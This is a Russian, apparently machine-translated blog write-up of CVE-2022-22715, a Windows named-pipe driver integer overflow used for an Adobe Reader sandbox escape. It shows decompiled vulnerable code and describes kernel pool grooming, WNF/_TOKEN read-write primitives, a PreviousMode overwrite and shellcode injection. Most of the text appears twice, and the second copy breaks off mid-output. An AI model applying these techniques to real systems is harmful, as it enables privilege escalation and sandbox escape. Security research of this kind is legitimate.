В феврале 2022 года Microsoft исправила уязвимость, которую я использовал в TianfuCup 2021 для выхода из песочницы Adobe Reader, получившую CVE-2022-22715. Уязвимость существовала в файловой системе Named Pipe почти 10 лет с момента появления AppContainer. Мы назвали это «Грязная труба Windows».
В этой статье я расскажу об основной причине и использовании Windows Dirty Pipe. Итак, давайте начнем наше путешествие.
Описание
Именованный канал — это именованный, односторонний или дуплексный канал для связи между сервером каналов и одним или несколькими клиентами каналов. Многие браузеры и приложения используют именованный канал в качестве IPC между процессом браузера и процессом рендеринга. А AppContainer был представлен, когда Microsoft выпустила Windows 8.1 в качестве механизма песочницы для изоляции доступа к ресурсам из приложения UWP.
С тех пор некоторые браузеры и приложения, такие как старый EDGE или Adobe Reader, используют AppContainer в качестве изолированной программной среды процесса рендеринга, и, конечно же, файловая система Named Pipe добавила некоторые механизмы для поддержки AppContainer. В результате он принес Windows Dirty Pipe — CVE-2022-22715.
Основная причина грязной трубы Windows
Уязвимость существовала в драйвере файловой системы Named Pipe — npfs.sys, а функция проблемы — npfs!NpTranslateContainerLocalAlias. Когда мы вызываем NtCreateFile с именованным путем канала, он столкнется с основной функцией IRP_MJ_CREATE npfs, которая называется NpFsdCreate.
Функция отправляется в другую функцию-обработчик, это зависит от параметров NtCreateFile, таких как RootDirectory of ObjectAttributes или CreateDisposition. И если мы создадим новый именованный канал, он попадет в NpTranslatedAlias.
Имя именованного канала, которым мы можем управлять, перейдет в NpTranslateAlias, функция получит префикс имени именованного канала и сравнит его с «LOCAL\», если в нашем имени именованного канала в качестве префикса используется «LOCAL\», это вызовет функцию NpTranslateContainerLocalAlias. Это означает, что мы можем использовать «\Device\NamedPipe\LOCAL\xxxxx» в качестве имени именованного канала.
Наконец, мы наткнулись на уязвимую функцию, пришло время показать первопричину.
Во-первых, npfs проверяет привилегию токена процесса, если он является appcontianer или ограниченным, он должен соответствовать как минимум одному из двух условий, что означает, что процесс должен быть appcontainer, ограниченным изолированным процессом или обоими. Затем функция проверяет имя именованного канала, если первый wchar равен «\», если это так, npfs устанавливает переменную |ifslash| до 1. После этого он вычисляет новую длину префикса именованного канала, новый префикс именованного канала включает SID, номер сеанса, указывает строку и т. д., наконец, новая длина префикса добавляет длину имени именованного канала и 0x14, и если переменная |ifslash | равна 1, общий размер добавит 2 к окончательному размеру.
Обратите внимание, что все переменные имеют тип ushort, поэтому существует очевидное целочисленное переполнение, если мы используем длинное именованное имя канала, общий размер в конечном итоге будет небольшим значением.
После расчета npfs выделяет небольшой пул из-за небольшого общего размера, тогда, если |ifslash| равно 1, общий размер минус 2, если общий размер равен 0, имеет место потеря значимости целого числа, а максимальная длина строки Unicode будет большим значением ushort 0xfffe.
Функция RtlUnciodeStringPrintf скопирует строку в новый буфер пула, длина memcpy зависит от maxiumlength строки юникода, если мы инициируем целочисленную потерю значимости раньше, npfs скопирует большое значение в триггер небольшого пула за пределы связанной записи.
Аварийный дамп :
Аварийный дамп показывает, что недоступная запись повреждает некоторые другие объекты после пула 0x20.
Целью функции NpTranslateContainerLocalAlias является преобразование имени именованного канала, включая «LOCAL\», в новое имя именованного канала. Например, если процесс является изолированным процессом контейнера приложения, он переводит имя канала имени в строку формата с «AppContainerNamedObjects», AppContainerNamedObjects — это каталог, в котором хранятся некоторые объекты, связанные с контейнером приложения, в диспетчере объектов. Наконец, Npfs создает новый объект именованного канала в каталоге AppContainerNamedObjects в диспетчере объектов.
Но все переменные размера слишком короткие, это основная причина Windows Dirty Pipe.
Проблемы Windows Dirty Pipe
Рассказав об основной причине Windows Dirty Pipe, я хочу рассказать о проблемах CVE-2022-22715, прежде чем опубликовать свою эксплуатацию.
Когда я вызываю сбой и подтверждаю уязвимость, я быстро понимаю, что уязвимость нелегко использовать, есть некоторые проблемы, с которыми я столкнусь, когда буду использовать ее.
1. Хотя целочисленное переполнение, когда npfs вычисляет общий размер, может сделать общий размер небольшим значением, например 0x20\0x30\0x40..., но оно должно быть равно 0, потому что нам нужно запустить целочисленное переполнение, чтобы сделать максимальную длину строки Unicode большой ushort для записи вне границ, если мы установим общий размер больше 0, после того, как общий размер минус 2, это все равно будет небольшим значением, и запись вне границ не будет запущена.
2. Как я уже сказал выше, длина memcpy равна 0xfffe, это означает, что мне нужно скопировать память пула более чем на 16 страниц в сегмент выгружаемого пула, это непросто сделать стабильной разметкой.
Интересный механизм распределения пула ядра
Первый шаг моей эксплуатации — это попытка найти способ завершить пул. В этой ситуации поврежденный пул должен быть выгружаемым пулом на 0x20, это пул ядра с низкой фрагментацией кучи (LFH), сначала я хочу распылить 0x20 пулов LFH и повредить некоторые 0x20 объектов для завершения эксплуатации.
Но есть проблема, заключающаяся в том, что я не могу точно контролировать позицию уязвимых 0x20 пулов в корзине LFH, а длина memcpy равна 0xfffe, это может привести к повреждению некоторых неожиданных объектов или защищенных страниц, вызывающих BSoD.
Я не хочу подробно рассказывать о распределении пула ядра в своем блоге, об этом есть много замечательных статей/слайдов. Теперь позвольте мне поделиться интересным механизмом распределения пула ядра, который я использовал, когда пытался решить проблему.
Как мы все знаем, ядро Windows выделяет сегмент пула внутренним распределителем и выделяет подсегмент внешним распределителем, а интересным механизмом является то, что в одном и том же сегменте могут быть выделены разные типы подсегментов.
Это привлекает мое внимание!
После некоторых тестов я подтверждаю, что могу сделать 0x20 подсегментов LFH и подсегмент VS смежными. Это делает мою планировку пула по фен-шую.
Этап 1: Подготовка
Поскольку уязвимый пул является выгружаемым пулом, я выбираю WNF в качестве ограниченного примитива r/w. Я использую _WNF_STATE_DATA как объект чтения/записи с ограниченным доступом — объект менеджера, максимальный диапазон чтения/записи _WNF_STATE_DATA равен 0x1000. И мне нужно найти другой объект для завершения чтения/записи произвольного адреса — рабочий объект. На самом деле найти подходящий объект несложно, объект должен быть объектом выгружаемого пула, включая поле указателя, которое можно использовать для чтения/записи произвольного адреса, например, через memcpy.
В конце концов я решил использовать объект _TOKEN в качестве рабочего объекта. Если я вызову NtSetInformationToken с TokenDefaultDacl TokenInformationClass, nt наконец вызовет nt!SepAppendDefaultDacl, скопирует контролируемое пользователем содержимое в хранилище полей указателя в объекте _TOKEN.
И если я вызову NtQueryInformationToken с TokenBnoIsolation TokenInformationClass, nt скопирует буфер isolationprefix в память пользовательского режима.
Таким образом, я мог бы использовать объект менеджера для создания поддельной структуры объекта _TOKEN для изменения соседнего рабочего объекта, а затем использовать NtSetInformationToken и NtQueryInformationToken в качестве произвольного примитива r/w.
Еще один объект, который мне нужно подготовить, — это 0x20 спрей-объектов, он должен полностью контролироваться мной, включая выделение и освобождение. Я обнаружил, что есть функция с именем nt!NtRegisterThreadTerminatePort.
Функция ссылается на объект LpcPort и выделяет 0x20 выгружаемых пулов для хранения объекта LpcPort, а затем сохраняет его в объекте _ETHREAD. Если мы создадим поток и вызовем NtRegisterThreadTerminatePort несколько раз в потоке, он может выделить большой объем выгружаемого пула 0x20.
Наконец, в моей голове появился план по пулу:
1 Распылите 0x20 выгружаемых пулов, чтобы заполнить подсегмент LFH, если весь сегмент заполнен, бэкэнд-распределение выделит новый сегмент, и наш новый подсегмент из 0x20 LFH будет расположен в новом сегменте.
2. Распылите объект _TOKEN и объект _WNF_STATE_DATA, чтобы заполнить подсегмент VS, убедитесь, что они находятся на одной странице, и выделение внешнего интерфейса, наконец, выделит новый подсегмент VS, он будет расположен в сегменте, созданном на шаге 1, рядом с подсегментом LFH.
Итак, наш, наконец, пул фэн-шуй выглядит следующим образом:
Обратите внимание, что я не могу предсказать положение уязвимого пула в LFH Bucket, но на самом деле меня это не волнует, в этой ситуации фэн-шуй пула целью записи за пределами границы является захват объекта менеджера и рабочего объекта в VS подсегмент, поэтому мне не нужно делать отверстие в пуле для уязвимого объекта, просто заполните бакет LFH распыляемым объектом и убедитесь, что уязвимый объект находится в конце бакета LFH.
Этап 2: Пул фэн-шуй
При распылении объекта WNF я обнаружил, что есть еще один объект с именем _WNF_NAME_INSTANCES, который будет создан, это приведет к тому, что выделение внешнего интерфейса создаст еще один сегмент LFH и повлияет на макет фэн-шуя нашего пула.
Поэтому, прежде чем приступить к фэн-шуй пулу, я создаю много 0xd0 пулов и освобождаю их, чтобы сделать большое количество 0xd0 пулов для хранения объектов _WNF_NAME_INSTANCES.
Я выделяю большое количество объектов распыления и сначала распыляю объекты _TOKEN и _WNF_STATE_DATA, это создаст новый подсегмент LFH и подсегмент VS в новом сегменте. Мы можем наблюдать за окончательной планировкой пула по фэн-шуй от windbg.
0: kd> !pool ffffb0880d69e000
Pool page ffffb0880d69e000 region is Paged pool
*ffffb0880d69e000 size: 20 previous size: 0 (Allocated) *PsTp Process: ffffc10b74a1c080
Pooltag PsTp : Thread termination port block, Binary : nt!ps
ffffb0880d69e020 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e040 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e060 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e080 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e0a0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
0: kd> !pool ffffb0880d69f000
Pool page ffffb0880d69f000 region is Paged pool
*ffffb0880d69f000 size: 20 previous size: 0 (Free) *....
Owning component : Unknown (update pooltag.txt)
ffffb0880d69f020 size: 20 previous size: 0 (Free) ....
ffffb0880d69f040 size: 20 previous size: 0 (Free) ....
ffffb0880d69f060 size: 20 previous size: 0 (Free) ....
ffffb0880d69f080 size: 20 previous size: 0 (Free) ....
ffffb0880d69f0a0 size: 20 previous size: 0 (Free) ....
0: kd> !pool ffffb0880d6a0000
Pool page ffffb0880d6a0000 region is Paged pool
*ffffb0880d6a0000 size: 20 previous size: 0 (Free) *....
Owning component : Unknown (update pooltag.txt)
ffffb0880d6a0020 size: 20 previous size: 0 (Free) ....
ffffb0880d6a0040 size: 20 previous size: 0 (Free) ....
ffffb0880d6a0060 size: 20 previous size: 0 (Free) ....
ffffb0880d6a0080 size: 20 previous size: 0 (Free) ....
0: kd> !pool ffffb0880d6a1000
Pool page ffffb0880d6a1000 region is Paged pool
*ffffb0880d6a1000 size: 20 previous size: 0 (Free) *....
Owning component : Unknown (update pooltag.txt)
ffffb0880d6a1020 size: 20 previous size: 0 (Free) ....
ffffb0880d6a1040 size: 20 previous size: 0 (Free) ....
ffffb0880d6a1060 size: 20 previous size: 0 (Free) ....
ffffb0880d6a1080 size: 20 previous size: 0 (Free) ....
0: kd> !pool ffffb0880d6a2000 // ======> new VS subsegment header
Pool page ffffb0880d6a2000 region is Paged pool
*ffffb0880d6a2000 size: 30 previous size: 0 (Free) *....
Owning component : Unknown (update pooltag.txt)
ffffb0880d6a2040 size: 880 previous size: 0 (Allocated) Toke
ffffb0880d6a28d0 size: 580 previous size: 0 (Allocated) Wnf Process: ffffc10b74a1c080
ffffb0880d6a2e50 size: 190 previous size: 0 (Free) ..D.
Как видно из макета, в конце корзины LFH есть много свободных дырок пула LFH, а новый подсегмент VS находится рядом с бакетом LFH, если мы сейчас создадим уязвимый объект, он будет расположен в одном из дырок пула LFH.
Обратите внимание, что уязвимый объект может находиться не на последней странице LFH, но в этом нет необходимости, поскольку запись вне границ может повредить корзину LFH, это не повлияет на нашу эксплуатацию.
Затем, после вызова функции RtlUnicodeStringPrintf, она будет за пределами диапазона писать о содержимом памяти размером 0xfffe, что приведет к повреждению пространства пула LFH и пространства пула VS. И поврежденные данные называются именем канала, которым мы можем управлять, нам нужно рассчитать вредоносную полезную нагрузку для изменения _WNF_STAT_DATA-> DataSize.
Когда мы создаем _WNF_STATE_DATA, мы не можем установить DataSize больше, чем область данных _WNF_STATE_DATA, но после запуска уязвимости мы можем изменить его на любое значение, максимальное значение DataSize равно 0x1000, мы можем получить ограниченный примитив r/w. чтобы изменить объект _TOKEN на следующей странице.
Этап 3: Получить произвольный адрес r/w
На этапе 2 мы делаем фэн-шуй пула и получаем ограниченный примитив r/w с объектом _WNF_STATE_DATA, но есть огромная проблема. Как мне найти, какой дескриптор объекта мне нужно использовать?
Если я испорчу объект и буду использовать его дескриптором, поврежденные данные заголовка объекта приведут к сбою системы. И теперь мне нужно узнать имя полезного объекта-менеджера (_WNF_STAT_DATA) и дескриптор рабочего объекта (_TOKEN).
Я придумал решение. Для объекта менеджера, когда мы пытаемся прочитать данные из области данных _WNF_STATE_DATA, мы вызываем NtQueryWnfStateData с указанной длиной, если длина больше DataSize, он возвращает код ошибки 0xc0000023. Для рабочего объекта, когда мы создаем объект _TOKEN, существует уникальный LUID в объекте _TOKEN, и он может быть запрошен NtQueryInformationToken с TokenStatics TokenInformationClass, он называется TokenId, мы можем запросить их, когда мы распыляем объект _TOKEN и сохраняем его в массиве.
Поскольку _WNF_NAME_INSTANCES не будет поврежден, мы можем использовать NtUpdateWnfStateData и NtQueryWnfStateData в обычном режиме.
Я уже повредил некоторые объекты _WNF_STATE_DATA на этапе 2 и изменил DataSize на 0x1000, мы могли бы использовать NtQueryWnfStateData с параметром длины 0x1000, чтобы найти поврежденный объект _WNF_STATE_DATA, и прочитать данные из связанных данных, чтобы найти последнюю поврежденную страницу, нормальную соседнюю страницу на поврежденную страницу.
Чтение связанных данных не повредит структуру объекта, поэтому мы можем использовать NtQueryWnfStateData с параметром длины 0x1000, если объект _WNF_STATE_DATA не поврежден, он вернет 0xC0000023, а если это так, он вернет данные за пределами привязки.
Если внешние данные являются вредоносными данными, я могу убедиться, что _WNF_STATA_DATA не находится на последней поврежденной странице. Я использую этот способ, чтобы узнать последнюю поврежденную страницу, чтобы я мог прочитать следующую нормальную страницу с объектной структурой _TOKEN. Объект _WNF_STATE_DATA на последней поврежденной странице является нашим объектом-менеджером.
В объекте _TOKEN есть поле LUID, мы получаем его из прочитанных данных за пределами привязки и сопоставляем этот LUID в массиве, который мы создали ранее, чтобы, наконец, найти рабочий объект.
На данный момент я получаю имя объекта-менеджера и дескриптор рабочего объекта, затем создаю фальшивые данные 0x1000, включающие фальшивую структуру объекта _TOKEN и структуру _WNF_STATE_DATA. Я уже получил обычное содержимое структуры объекта _TOKEN, вызвав NtQueryWnfStateData ранее, мне просто нужно изменить некоторое значение, чтобы получить произвольный примитив r/w.
Примитив чтения:
Примитив записи
Этап 4: Повышение привилегий и исправление
Мы получаем произвольный адрес r/w примитив, сначала я просто хочу заменить процесс TOKEN на системный, это удается, но через некоторое время я нахожу, что это легко сбой. Например, я повредил некоторые объекты _TOKEN, если я открою processexplorer, он будет проходить таблицу дескрипторов пользовательского пространства для каждого процесса, это вызовет сбой, когда processexplorer получит доступ к таблице дескрипторов эксплуатируемых процессов.
Мне нужно исправить после эксплойта, поэтому я решил не заменять TOKEN процесса, а просто изменить _ETHREAD->PreviousMode, если я установлю предыдущий режим на 0, я вызываю NT API, такой как NtReadVirtualMemory и NtWriteVirtualMemory, ядро будет думать, что поток работает в режиме ядра. Это обычная технология повышения привилегий, мне она удобна для повышения привилегий и исправления вместо того, чтобы каждый раз создавать фейковый объект.
Наконец, я использую рабочий объект, чтобы установить _ETHREAD->PreviousMode в 0, а затем использую NtReadVirtualMemory/NtWriteVirtuaMemory для повышения привилегий и исправления.
Есть кое-что, что нам нужно сделать при исправлении.
1.Повреждённый объект _Token.
Я вызываю сбой поврежденного объекта и понимаю, что он сбоит, потому что я испортил ObjectType в ObjectHeader, поэтому, когда nt ссылается на объект, это приведет к сбою системы. И я могу получить файл cookie в разделе данных nt и вычислить тип объекта в заголовке объекта. Я исправляю каждый поврежденный заголовок объекта _TOKEN.
2.Поврежденная структура пула VS.
Это самая сложная проблема, с которой я сталкиваюсь, я не только искажаю структуру объекта, но и искажаю структуру пула VS, это может вызвать неожиданный BSoD. Я делаю некоторые изменения в распределении VS и обнаруживаю, что существует RBTree для управления пулом VS. Если я знаю адрес пула VS, я могу вычислить адрес менеджера пула VS.
Когда новый пул VS выделяется или старый освобождается, он будет проходить через RBTree из менеджера пула VS, и если я испорчу адрес пула VS, что означает, что когда менеджер пула VS пройдет из корневого узла и получит доступ к поврежденному узлу, произойдет сбой.
Поэтому мне нужно найти аварийный узел в корневом узле RBTree и удалить его из RBTree, это может привести к некоторой утечке памяти, если в поврежденном узле есть какие-то другие пулы VS, но это лучше, чем сбой системы.
Я вычисляю корневой пул VS, обхожу RBTree и удаляю узел из RBTree.
После всех исправлений пришло время запустить cmd. Поскольку процесс рендеринга Adobe Reader находится в задании, я не могу создать из него процесс, поэтому я вставляю шелл-код в процесс браузера и записываю файл в томе C: для завершения эксплойта.
Патч
Microsoft исправила уязвимость в феврале 2022 года, npfs использует тип int для вычисления общего размера и проверки, превышает ли общий размер максимальное значение ushort.
Демонстрация, как я использую WNF API с доступным SD
источник: https://whereisk0shl.top/post/break-me-out-of-sandbox-in-old-pipe-cve-2022-22715-windows-dirty-pipe
В этой статье я расскажу об основной причине и использовании Windows Dirty Pipe. Итак, давайте начнем наше путешествие.
Описание
Именованный канал — это именованный, односторонний или дуплексный канал для связи между сервером каналов и одним или несколькими клиентами каналов. Многие браузеры и приложения используют именованный канал в качестве IPC между процессом браузера и процессом рендеринга. А AppContainer был представлен, когда Microsoft выпустила Windows 8.1 в качестве механизма песочницы для изоляции доступа к ресурсам из приложения UWP.
С тех пор некоторые браузеры и приложения, такие как старый EDGE или Adobe Reader, используют AppContainer в качестве изолированной программной среды процесса рендеринга, и, конечно же, файловая система Named Pipe добавила некоторые механизмы для поддержки AppContainer. В результате он принес Windows Dirty Pipe — CVE-2022-22715.
Основная причина грязной трубы Windows
Уязвимость существовала в драйвере файловой системы Named Pipe — npfs.sys, а функция проблемы — npfs!NpTranslateContainerLocalAlias. Когда мы вызываем NtCreateFile с именованным путем канала, он столкнется с основной функцией IRP_MJ_CREATE npfs, которая называется NpFsdCreate.
C:
__int64 __fastcall NpFsdCreate(__int64 a1, _IRP *a2)
{
[...]
if ( RelatedFileObject )
{
[...]
}
if ( UnicodeString.Length )
{
if ( UnicodeString.Length == 2 && *UnicodeString.Buffer == 0x5C && !RelatedFileObject ) // ===> if open root directory
goto LABEL_47;
}
else
{
if ( !RelatedFileObject || NamedPipeType == 0x201 )
{
[...]
}
if ( NamedPipeType == 0x206 )
{
LABEL_47:
*(_OWORD *)&a2->IoStatus.Status = *(_OWORD *)NpOpenNamedPipeRootDirectory( // ===> open root directory
(__int64)&MasterIrp,
v3,
(__int64)FileObject);
[...]
}
}
if ( ifopenflag )
{
if ( !RelatedFileObject )
{
if ( createdisposition == 1 )
{
*(_OWORD *)&a2->IoStatus.Status = *(_OWORD *)NpOpenNamedPipePrefix( // ====> open a existed directory named pipe
(__int64)v33,
v3,
FileObject,
v11,
DesiredAccess,
RequestorMode);
[...]
}
if ( (unsigned int)(createdisposition - 2) <= 1 )
{
*(_OWORD *)&a2->IoStatus.Status = *(_OWORD *)NpCreateNamedPipePrefix( // ====> create a new directory named pipe
(__int64)v34,
v3,
FileObject,
(struct _SECURITY_SUBJECT_CONTEXT *)v11,
DesiredAccess,
RequestorMode,
Options_high);
[...]
}
}
goto LABEL_57;
}
[...]
Status = NpTranslateAlias((__m128i *)&namedpipename, ClientToken, &v39); // =====> create a new pipe
[...]
}
Функция отправляется в другую функцию-обработчик, это зависит от параметров NtCreateFile, таких как RootDirectory of ObjectAttributes или CreateDisposition. И если мы создадим новый именованный канал, он попадет в NpTranslatedAlias.
C:
NTSTATUS __fastcall NpTranslateAlias(UNICODE_STRING *namedpipename, void *a2, _DWORD *a3)
{
[...]
*(_QWORD *)&String1.Length = 0xE000Ci64;
String1.Buffer = L"LOCAL\\";
DestinationString = 0i64;
*a3 = 0;
Length = _mm_cvtsi128_si32(*(__m128i *)a1);
String2 = *a1;
String2.Length = Length;
if ( Length >= 2u && *String2.Buffer == 0x5C )
{
Length -= 2;
String2.MaximumLength -= 2;
v7 = 1;
++String2.Buffer;
String2.Length = Length;
}
else
{
v7 = 0;
}
if ( !Length )
return 0;
if ( a2 && Length > 0xCu )
{
if ( RtlPrefixUnicodeString(&String1, &String2, 1u) ) // ====> compare "LOCAL\\" and prefix of named pipe name
return NpTranslateContainerLocalAlias(a1, a2, a3); // =====> vulnerable code
[...]
}
Имя именованного канала, которым мы можем управлять, перейдет в NpTranslateAlias, функция получит префикс имени именованного канала и сравнит его с «LOCAL\», если в нашем имени именованного канала в качестве префикса используется «LOCAL\», это вызовет функцию NpTranslateContainerLocalAlias. Это означает, что мы можем использовать «\Device\NamedPipe\LOCAL\xxxxx» в качестве имени именованного канала.
Наконец, мы наткнулись на уязвимую функцию, пришло время показать первопричину.
C:
NTSTATUS __fastcall NpTranslateContainerLocalAlias(struct _UNICODE_STRING *namedpipename, void *a2, _DWORD *a3)
{
[...]
result = SeQueryInformationToken(a2, TokenIsAppContainer, &TokenInformation);
if ( result >= 0 )
{
result = SeQueryInformationToken(a2, TokenIsRestricted|TokenGroups, &v28);
if ( result >= 0 )
{
if ( !TokenInformation && !v28 ) // =====> token must be appcontainer or restricted
return 0;
[...]
v14 = *namedpipename;
*(_QWORD *)&v30 = *(_QWORD *)&namedpipename->Length;
v15 = v30;
v16 = (_WORD *)_mm_srli_si128((__m128i)v14, 8).m128i_u64[0];
v17 = v16;
*((_QWORD *)&v30 + 1) = v16;
if ( *v16 == '\\' )
{
v17 = v16 + 1;
ifslash = 1; // ====> if there is "\\" in named pipe name, ifslash will set to 1
v15 = v30 - 2;
}
else
{
ifslash = 0;
}
[...] // ====> calculate the new prefix length
v21 = prefixlength + namedpipenamelength + 0x14;
v26.MaximumLength = v21;
if ( ifslash )
{
v21 += 2; // ===> variable v21 is ushort type, it will be add to 0
v26.MaximumLength = v21;
}
PoolWithTag = (WCHAR *)ExAllocatePoolWithTag(PagedPool, v21, 0x6E46704Eu); // ====> v21 will be 0 because of integer overflow, and it will allocate a small pool.
v26.Buffer = PoolWithTag;
if ( PoolWithTag )
{
if ( ifslash )
{
v26.Buffer = PoolWithTag + 1;
v26.MaximumLength -= 2; // if ifslash is 1, length 0 minus 2, it will cause integer underflow and the length will be set to 0xfffe
}
[...]
RtlUnicodeStringPrintf( // ====> RtlUnicodeStringPrintf will copy large size(0xfffe) buffer to a small pool cause out of bound write
&v26,
L"Sessions\\%ld\\AppContainerNamedObjects\\%wZ\\%wZ\\%wZ",
(unsigned int)v32,
&v35,
&DestinationString,
&v30);
[...]
}
[...]
}
Во-первых, npfs проверяет привилегию токена процесса, если он является appcontianer или ограниченным, он должен соответствовать как минимум одному из двух условий, что означает, что процесс должен быть appcontainer, ограниченным изолированным процессом или обоими. Затем функция проверяет имя именованного канала, если первый wchar равен «\», если это так, npfs устанавливает переменную |ifslash| до 1. После этого он вычисляет новую длину префикса именованного канала, новый префикс именованного канала включает SID, номер сеанса, указывает строку и т. д., наконец, новая длина префикса добавляет длину имени именованного канала и 0x14, и если переменная |ifslash | равна 1, общий размер добавит 2 к окончательному размеру.
Обратите внимание, что все переменные имеют тип ushort, поэтому существует очевидное целочисленное переполнение, если мы используем длинное именованное имя канала, общий размер в конечном итоге будет небольшим значением.
После расчета npfs выделяет небольшой пул из-за небольшого общего размера, тогда, если |ifslash| равно 1, общий размер минус 2, если общий размер равен 0, имеет место потеря значимости целого числа, а максимальная длина строки Unicode будет большим значением ushort 0xfffe.
Функция RtlUnciodeStringPrintf скопирует строку в новый буфер пула, длина memcpy зависит от maxiumlength строки юникода, если мы инициируем целочисленную потерю значимости раньше, npfs скопирует большое значение в триггер небольшого пула за пределы связанной записи.
Аварийный дамп :
Аварийный дамп показывает, что недоступная запись повреждает некоторые другие объекты после пула 0x20.
Целью функции NpTranslateContainerLocalAlias является преобразование имени именованного канала, включая «LOCAL\», в новое имя именованного канала. Например, если процесс является изолированным процессом контейнера приложения, он переводит имя канала имени в строку формата с «AppContainerNamedObjects», AppContainerNamedObjects — это каталог, в котором хранятся некоторые объекты, связанные с контейнером приложения, в диспетчере объектов. Наконец, Npfs создает новый объект именованного канала в каталоге AppContainerNamedObjects в диспетчере объектов.
Но все переменные размера слишком короткие, это основная причина Windows Dirty Pipe.
Проблемы Windows Dirty Pipe
Рассказав об основной причине Windows Dirty Pipe, я хочу рассказать о проблемах CVE-2022-22715, прежде чем опубликовать свою эксплуатацию.
Когда я вызываю сбой и подтверждаю уязвимость, я быстро понимаю, что уязвимость нелегко использовать, есть некоторые проблемы, с которыми я столкнусь, когда буду использовать ее.
1. Хотя целочисленное переполнение, когда npfs вычисляет общий размер, может сделать общий размер небольшим значением, например 0x20\0x30\0x40..., но оно должно быть равно 0, потому что нам нужно запустить целочисленное переполнение, чтобы сделать максимальную длину строки Unicode большой ushort для записи вне границ, если мы установим общий размер больше 0, после того, как общий размер минус 2, это все равно будет небольшим значением, и запись вне границ не будет запущена.
2. Как я уже сказал выше, длина memcpy равна 0xfffe, это означает, что мне нужно скопировать память пула более чем на 16 страниц в сегмент выгружаемого пула, это непросто сделать стабильной разметкой.
Интересный механизм распределения пула ядра
Первый шаг моей эксплуатации — это попытка найти способ завершить пул. В этой ситуации поврежденный пул должен быть выгружаемым пулом на 0x20, это пул ядра с низкой фрагментацией кучи (LFH), сначала я хочу распылить 0x20 пулов LFH и повредить некоторые 0x20 объектов для завершения эксплуатации.
Но есть проблема, заключающаяся в том, что я не могу точно контролировать позицию уязвимых 0x20 пулов в корзине LFH, а длина memcpy равна 0xfffe, это может привести к повреждению некоторых неожиданных объектов или защищенных страниц, вызывающих BSoD.
Я не хочу подробно рассказывать о распределении пула ядра в своем блоге, об этом есть много замечательных статей/слайдов. Теперь позвольте мне поделиться интересным механизмом распределения пула ядра, который я использовал, когда пытался решить проблему.
Как мы все знаем, ядро Windows выделяет сегмент пула внутренним распределителем и выделяет подсегмент внешним распределителем, а интересным механизмом является то, что в одном и том же сегменте могут быть выделены разные типы подсегментов.
Это привлекает мое внимание!
После некоторых тестов я подтверждаю, что могу сделать 0x20 подсегментов LFH и подсегмент VS смежными. Это делает мою планировку пула по фен-шую.
Этап 1: Подготовка
Поскольку уязвимый пул является выгружаемым пулом, я выбираю WNF в качестве ограниченного примитива r/w. Я использую _WNF_STATE_DATA как объект чтения/записи с ограниченным доступом — объект менеджера, максимальный диапазон чтения/записи _WNF_STATE_DATA равен 0x1000. И мне нужно найти другой объект для завершения чтения/записи произвольного адреса — рабочий объект. На самом деле найти подходящий объект несложно, объект должен быть объектом выгружаемого пула, включая поле указателя, которое можно использовать для чтения/записи произвольного адреса, например, через memcpy.
В конце концов я решил использовать объект _TOKEN в качестве рабочего объекта. Если я вызову NtSetInformationToken с TokenDefaultDacl TokenInformationClass, nt наконец вызовет nt!SepAppendDefaultDacl, скопирует контролируемое пользователем содержимое в хранилище полей указателя в объекте _TOKEN.
И если я вызову NtQueryInformationToken с TokenBnoIsolation TokenInformationClass, nt скопирует буфер isolationprefix в память пользовательского режима.
Таким образом, я мог бы использовать объект менеджера для создания поддельной структуры объекта _TOKEN для изменения соседнего рабочего объекта, а затем использовать NtSetInformationToken и NtQueryInformationToken в качестве произвольного примитива r/w.
Еще один объект, который мне нужно подготовить, — это 0x20 спрей-объектов, он должен полностью контролироваться мной, включая выделение и освобождение. Я обнаружил, что есть функция с именем nt!NtRegisterThreadTerminatePort.
Функция ссылается на объект LpcPort и выделяет 0x20 выгружаемых пулов для хранения объекта LpcPort, а затем сохраняет его в объекте _ETHREAD. Если мы создадим поток и вызовем NtRegisterThreadTerminatePort несколько раз в потоке, он может выделить большой объем выгружаемого пула 0x20.
Наконец, в моей голове появился план по пулу:
1 Распылите 0x20 выгружаемых пулов, чтобы заполнить подсегмент LFH, если весь сегмент заполнен, бэкэнд-распределение выделит новый сегмент, и наш новый подсегмент из 0x20 LFH будет расположен в новом сегменте.
2. Распылите объект _TOKEN и объект _WNF_STATE_DATA, чтобы заполнить подсегмент VS, убедитесь, что они находятся на одной странице, и выделение внешнего интерфейса, наконец, выделит новый подсегмент VS, он будет расположен в сегменте, созданном на шаге 1, рядом с подсегментом LFH.
Итак, наш, наконец, пул фэн-шуй выглядит следующим образом:
Обратите внимание, что я не могу предсказать положение уязвимого пула в LFH Bucket, но на самом деле меня это не волнует, в этой ситуации фэн-шуй пула целью записи за пределами границы является захват объекта менеджера и рабочего объекта в VS подсегмент, поэтому мне не нужно делать отверстие в пуле для уязвимого объекта, просто заполните бакет LFH распыляемым объектом и убедитесь, что уязвимый объект находится в конце бакета LFH.
Этап 2: Пул фэн-шуй
При распылении объекта WNF я обнаружил, что есть еще один объект с именем _WNF_NAME_INSTANCES, который будет создан, это приведет к тому, что выделение внешнего интерфейса создаст еще один сегмент LFH и повлияет на макет фэн-шуя нашего пула.
Поэтому, прежде чем приступить к фэн-шуй пулу, я создаю много 0xd0 пулов и освобождаю их, чтобы сделать большое количество 0xd0 пулов для хранения объектов _WNF_NAME_INSTANCES.
Я выделяю большое количество объектов распыления и сначала распыляю объекты _TOKEN и _WNF_STATE_DATA, это создаст новый подсегмент LFH и подсегмент VS в новом сегменте. Мы можем наблюдать за окончательной планировкой пула по фэн-шуй от windbg.
0: kd> !pool ffffb0880d69e000
Pool page ffffb0880d69e000 region is Paged pool
*ffffb0880d69e000 size: 20 previous size: 0 (Allocated) *PsTp Process: ffffc10b74a1c080
Pooltag PsTp : Thread termination port block, Binary : nt!ps
ffffb0880d69e020 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e040 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e060 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e080 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
